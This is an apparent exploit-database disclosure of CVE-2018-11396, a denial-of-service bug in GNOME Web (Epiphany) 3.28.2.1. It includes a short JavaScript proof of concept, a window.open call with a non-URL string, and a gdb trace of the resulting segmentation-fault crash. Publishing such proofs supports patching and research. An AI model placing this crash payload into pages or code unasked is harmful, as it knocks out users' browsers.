Epiphany 3.28.2.1 Denial Of Service

`Summary:  
ephy-session.c in libephymain.so in GNOME Web (aka Epiphany) through 3.28.2.1 allows remote attackers to cause a denial of service (application crash) via JavaScript code that triggers access to a NULL URL, as demonstrated by a crafted window.open call, CVE-2018-11396 was assigned to this issue.  
  
PoC:  
<script>  
win = window.open("hello world");  
</script>  
  
Stack trace:  
ftw@ftw-box:~$ gdb epiphany  
(gdb) run  
Starting program: /usr/bin/epiphany   
[Thread debugging using libthread_db enabled]  
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".  
[New Thread 0x7fffe08bc700 (LWP 2279)]  
[New Thread 0x7fffdee51700 (LWP 2280)]  
[New Thread 0x7fffde650700 (LWP 2281)]  
[New Thread 0x7fffdcdd5700 (LWP 2282)]  
[New Thread 0x7fffd7fff700 (LWP 2283)]  
[New Thread 0x7fffd77fe700 (LWP 2284)]  
[New Thread 0x7fffd6ffd700 (LWP 2285)]  
[New Thread 0x7fffd67fc700 (LWP 2286)]  
[New Thread 0x7fffd5b8c700 (LWP 2287)]  
[New Thread 0x7fffd538b700 (LWP 2288)]  
[New Thread 0x7fff8f486700 (LWP 2294)]  
[New Thread 0x7fff8da1e700 (LWP 2304)]  
[New Thread 0x7fff8d21d700 (LWP 2305)]  
[New Thread 0x7fff8ea7f700 (LWP 2315)]  
[Thread 0x7fffd5b8c700 (LWP 2287) exited]  
[Thread 0x7fffd67fc700 (LWP 2286) exited]  
  
Thread 15 "pool" received signal SIGSEGV, Segmentation fault.  
[Switching to Thread 0x7fff8ea7f700 (LWP 2315)]  
0x00007ffff7b75db7 in ?? () from /usr/lib/x86_64-linux-gnu/epiphany-browser/libephymain.so  
(gdb) bt  
#0 0x00007ffff7b75db7 in ?? () from /usr/lib/x86_64-linux-gnu/epiphany-browser/libephymain.so  
#1 0x00007ffff7079be6 in ?? () from /usr/lib/x86_64-linux-gnu/libgio-2.0.so.0  
#2 0x00007ffff73fe7d0 in ?? () from /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0  
#3 0x00007ffff73fde05 in ?? () from /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0  
#4 0x00007fffefc246db in start_thread (arg=0x7fff8ea7f700) at pthread_create.c:463  
#5 0x00007ffff5e4c88f in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95  
(gdb)  
  
`